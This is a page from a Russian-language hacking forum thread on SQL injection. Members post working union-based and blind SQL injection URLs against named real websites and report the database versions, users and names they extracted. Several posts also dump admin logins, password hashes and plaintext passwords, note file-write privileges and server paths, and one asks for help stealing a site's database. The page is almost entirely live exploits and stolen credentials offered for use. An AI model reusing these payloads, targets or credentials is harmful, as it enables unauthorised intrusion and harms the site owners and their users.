SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 401 of 798
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.folieanticondens.ro/index.php?page=prod&lang=ro&prod=20+AND+ASCII(SUBSTRING((select+version()),1,1))>x--

    x=53,46,48,46,54,55,45,99,111,109,109,117,110,105,116,121,45,108,111,103


    http://www.folieanticondens.ro/index.php?page=prod&lang=ro&prod=20+AND+ASCII(SUBSTRING((select+database()),1,1))>x--


    x=102,105,110,97,108,100,95,102,111,108,105,101


    http://www.folieanticondens.ro/index.php?page=prod&lang=ro&prod=20+AND+ASCII(SUBSTRING((select+user()),1,1))>x--


    x=102,105,110,97,108,100,95,97,100,109,105,110,64,108,111,99,97,108,104,111,115,116





    Version : 5.0.67-community-log
    Database : finald_folie
    User : finald_admin@localhost
     
    #8001 Gorev, 28 Feb 2009
  2. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    http://www.eleven.co.il/print.php?id=-10591+union+select+1,2,3,4,5,6,7,8,9,user()--
    eleven@localhost
    5.0.77
    elevenart
    /var/db/mysql/

    http://www.eastrovedica.in/article.php?id=12317+order+by+17--&act=print

    wisdoma_indiart@localhost
    5.1.30
    portbld-freebsd7.1
     
    #8002 dr.Pilulkin, 28 Feb 2009
    1 person likes this.
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.ircolours.ro/index.php?view=product&id=-32+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17



    Database Version: 5.0.67-community-log
    Database name: ircolour_ircolours
    User name: ircolour_webagen@localhost
     
    #8003 Gorev, 28 Feb 2009
  4. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    bugeisha.ru PR-4 ТиЦ 650 вывод в сурсе страницы(в <input type="hidden")
    PHP:
    http://bugeisha.ru/aikido/aikido/post.php3?topic_id=-1+union+select+1,2,3,4,concat(0x27203e3c62723e,user(),0x3A,version(),0x3a,database(),0x3c212d2d2d2d)+--+
    интересные колонки:
     
    #8004 AkyHa_MaTaTa, 28 Feb 2009
    Last edited: 28 Feb 2009
    1 person likes this.
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.artmobila.md/index.php?section=news&id=-1234271747+union+select+1,concat_ws(0x3a,version(),database(),user()),3&lang=ru



    Database Version: 5.0.51
    Database name: artmobil_artmobila
    User name: artmobil_site@localhost
     
    #8005 Gorev, 28 Feb 2009
    1 person likes this.
  6. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Автоэкзотика
    Pagerank: 5
    тИЦ: 600

    Code:
    http://www.autoexotica.ru/news/?nid=1+union+select+1,concat _ws(0x3a,versio n(),database(),user()),3,4,5,6,7,8,9,10,11--
    Database Version : 5.0.45
    Database name : autoexotica
    User name : autoexoticaru@localhost

    юзеры выводятся без лимита:

    Code:
    http://www.autoexotica.ru/news/?nid=1+union+select+1,conca t_ws(0x3a,name,member_login_key),3,4,5,6,7,8,9,10,11+from+ibf_members--
    админ:

    Code:
    autoexotica:3bceae1f772c17b075b311e2a6eacb8b

    ---------------------------------------------------------#

    Pagerank: 3
    тИЦ: 250

    Code:
    http://www.vw-club.ru/vw/news/show_news.php?id=-1+union+select+1,concat_ ws(0x3a,version() ,database(),user()),3,4,5,6--

    Database Version : 4.1.21-log
    Database name : rds_vwclub
    User name : rds_vwclub@localhost
     
    #8006 f1ng3r, 28 Feb 2009
    1 person likes this.
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.naturalwoodfloor.ro/parchet_specificatii.php?id=-36+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6



    Database Version: 5.0.67-community-log
    Database name: naturalw_db
    User name: naturalw_acces@localhost
     
    #8007 Gorev, 28 Feb 2009
  8. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    Code:
    www.magnet.ru
    PR: 4
    Тиц: 180
    Версия: 5.0.51a-log
    База данных: magnetru
    Юзверь: [email protected]
    Code:
    http://magnet.ru/news.php?nid=2131231%20union%20select%201,concat(password,0x3a,user),3,4,5%20from%20mysql.user%20limit%201,1--
    Логин: alex
    Пароль: *676243218923905CF94CB52A3C9D3EB30CE8E20D

    PS: File priv = Y

    /usr/local/www/client/magnet.ru/www/
    Путь =))
    Дальше думаю сами курите че можно сделать -)
     
    #8008 Assembler, 1 Mar 2009
    Last edited: 1 Mar 2009
  9. RaDDeaD

    RaDDeaD Elder - Старейшина

    Joined:
    28 Dec 2006
    Messages:
    44
    Likes Received:
    18
    Reputations:
    1
    http://www.formul.ru

    ВНИМАНИЕ, Мнеб слить движок их желательно каэшн прям с базой)...
    Прошу помощи в осуществлении))
    В Личку
    Админка: http://www.formul.ru/admin/

    Нарыл это:
    http://www.formul.ru/index.php?cat_id=-1'+union+select+1,2,3,4,5,6,column_name,8,9,0,10,11,12,13,14,15,16,17,18,19,20+CPU_USER+from+information_schema.columns/*
     
    #8009 RaDDeaD, 1 Mar 2009
  10. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    Code:
    http://trubotorg33.ru
    PR: 1
    Тиц: 0
    Версия: 5.0.75
    База данных: trt
    Юзверь: root@localhost
    Code:
    http://www.trubotorg33.ru/index.php?id=12&nid=1342343%20union%20select%201,2,3,concat_ws(0x3a,id,name,passw),5,6,7,8,9%20from%20users--
    Админка: Ненашел =(
    Логин: adm
    Пароль: 110001

    Есть доступ к mysql.user
    File Priv = Y =)
    /home/edu/data/www/trubotorg33.ru/class/
    Че то седня фортит=)
     
    #8010 Assembler, 1 Mar 2009
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    http://media-empire.net/spam/e-Spam.php?intSpamID=-251+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12--

    [email protected]
    5.0.67-log
    ewok_bloods
     
    #8011 попугай, 1 Mar 2009
  12. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    Code:
    http://snm.nnov.ru
    PR: 4
    Тиц: 30
    Версия: 4.0.25
    База данных: snmsila
    Юзверь: snmsila@localhost
    Code:
    http://www.snm.nnov.ru/?doc=4&id=12&nid=-1%20union%20select%201,2,3,4,5--
     
    #8012 Assembler, 1 Mar 2009
  13. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    Магаз футболок

    Code:
    http://topmayka.com/index.php?action=looktshirt&id=-229%20union%20select%201,version(),3,4,5,6,7,8,9,10%20from%20users%20--
    version::4.1.22-log
     
    #8013 TELO, 1 Mar 2009
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.edilgroup.ro/punct-presa-detaliu.php?id=-9+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13




    Database Version: 5.0.32-Debian_7etch6
    Database name: edilgroup
    User name: edilgroup@localhost
     
    #8014 Gorev, 1 Mar 2009
  15. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    www.kos-check.com PR=3
    Code:
    http://www.kos-check.com/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,concat_ws(version(),user(),database()),3,4,5--
    kosmma_admin@localhost
    4.1.22-standard-log
    kosmma_cms

    www.dsm.edu.uy PR=5
    Code:
    http://www.dsm.edu.uy/index.php?option=com_rsgallery&page=inline&catid=-1+UNION+SELECT+1,1,user(),3, version(),5,6,7,8,9,10,11--

    5.0.51a-community
    dsmedu_admin@localhost
     
    #8015 S0ulVortex, 1 Mar 2009
    Last edited by a moderator: 1 Mar 2009
  16. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    www.kop.ru pr-3 Тиц - 400
    PHP:
    http://www.kop.ru/?go=issues&issue=-79+union+select+1,2,3,4,concat_ws(0x3A,@@version,user()),6,7+--+
    @@version: 5.0.45
    user(): [email protected]
     
    #8016 AkyHa_MaTaTa, 1 Mar 2009
    1 person likes this.
  17. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    artpace.org - PR5 тИЦ - 10
    Code:
    http://www.artpace.org/aboutTheExhibition.php?axid=-99999+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8/*
    Есть еще табла sec_user, но там ничего интерестного...
    Code:
    http://www.artpace.org/aboutTheExhibition.php?axid=-99999+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables+limit+38,1/*
     
    #8017 mailbrush, 1 Mar 2009
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.tiglastal.ro/produse.php?cat=3&scat=-23+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7



    Database Version: 4.1.22-standard
    Database name: tiglas_tiglas
    User name: tiglas_tiglas@localhost


    http://www.favisan.ro/catalog.php?detalii=-171+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8


    Database Version: 4.1.22-standard
    Database name: favisan_favisan
    User name: favisan@localhost
     
    #8018 Gorev, 1 Mar 2009
    Last edited: 1 Mar 2009
    1 person likes this.
  19. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    Интернет магазин

    saktalingchan.com PR=5


    Database saktalin_shop
    Таблицы:
    Code:
    CJ_UsersOnline
true_admin  
true_boardans 
true_boardque 
true_boardworld 
true_config  
true_confirm  
true_content 
true_contentcat 
true_contentsub 
true_gallery  
true_gallerycat  
true_help 
true_help2  
true_items  
true_links  
true_product 
true_productcategory 
true_productcategorysub 
true_proname 
true_sale 
true_ticket

    Code:
    http://www.saktalingchan.com/product.php?catid=1&catsubid=3&id=171+UNION+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3,id,user,pass ),10,11,12,13,14,15,16,17,18,19,20+from+true_admin--
    С выводом пароля че-то втыкал долго не думал что pass :)

    2 админа
    login:saktalingchan pass:8687222
    login:trueamulet pass:jwebmaster



    Админку не нашел :( правда я её и не особо искал :)




    grandlite.co.th


    Database grandlit_db
    Table:
    Code:
    grandliteadmin 
prdadep  
prdbcat 
prdcprd

    Сайт ваще весь дырявый как друшлак :)

    Code:
    http://www.grandlite.co.th/onproduct.php?id=277+UNION+SELECT+1,2,3,4,concat_ws(0x3,password),6,7,8,9,10,11+from+grandliteadmin+limit+1,1--

    Code:
    http://www.grandlite.co.th/product.php?depid=9+UNION+SELECT+1,2,3,4,concat_ws(0x3,password),6,7,8,9,10,11+from+grandliteadmin--
    Админку не нашёл и тут. Все что удалось узнать это pass=password а логин скоре всего admin.
     
    #8019 S0ulVortex, 1 Mar 2009
    Last edited: 1 Mar 2009
  20. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    АП, вот вам мой севодняшний сбор уязвимостей! Пройдемся по nl.
    Code:
    http://www.nanoshield.nl/productinfo.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4,5,6,7,8--
    версия/юзер/бд:
    Code:
    [email protected]_7etch8faq
    ------------------------------------------------------------------
    Code:
    http://ictnieuws.educos.nl/detail.php?ID=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3--
    версия/юзер/бд:
    Code:
    [email protected]
    ------------------------------------------------------------------

    Code:
    http://www.jansiebelink.nl/detail.php?id=-1+union+all+select+concat_ws(version(),user(),database())--
    версия/юзер/бд:

    Code:
    [email protected]_7etch8-logjan
    ----------------------------------------------------------------
    Code:
    http://www.nvha.nl/readnews.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4--
    версия/юзер/бд:

    Code:
    [email protected]
    -----------------------------------------------------------------

    Code:
    http://www.art-innovation.nl/event.php?id=-1+union+all+select+concat_ws(version(),user(),database()),1--
    версия/юзер/бд:

    Code:
    [email protected]_main
    ------------------------------------------------------------------

    Code:
    http://www.tamaynut.nl/newsdetail.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6,7,8,9,10,11--
    версия/юзер/бд:

    Code:
    [email protected]_tamaynut
    ----------------------------------------------------------------

    Code:
    http://www.trovet.nl/newsdetail.php?id=-1+union+all+select+0,1,2,3,4,concat_ws(version(),user(),database()),6,7--
    версия/юзер/бд:

    Code:
    [email protected]_data
    ---------------------------------------------------------------

    Code:
    http://www.26000gezichten.nl/news.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13--
    версия/юзер/бд:

    Code:
    [email protected]_Debian-10sarge2-log26000gezichten
    --------------------------------------------------------------

    Code:
    http://www.zeelandwoning.nl/pages.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2--
    версия/юзер/бд:

    Code:
    [email protected]_joom
    ---------------------------------------------------------------

    Code:
    http://www.opdesloep.nl/pages.php?id=-1+union+all+select+0,1,2,convert(concat_ws(version(),user(),database())+using+latin1),4,5--
    версия/юзер/бд:

    Code:
    [email protected]
    ----------------------------------------------------------------------
    The End!​
     
    #8020 -m0rgan-, 1 Mar 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 401 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.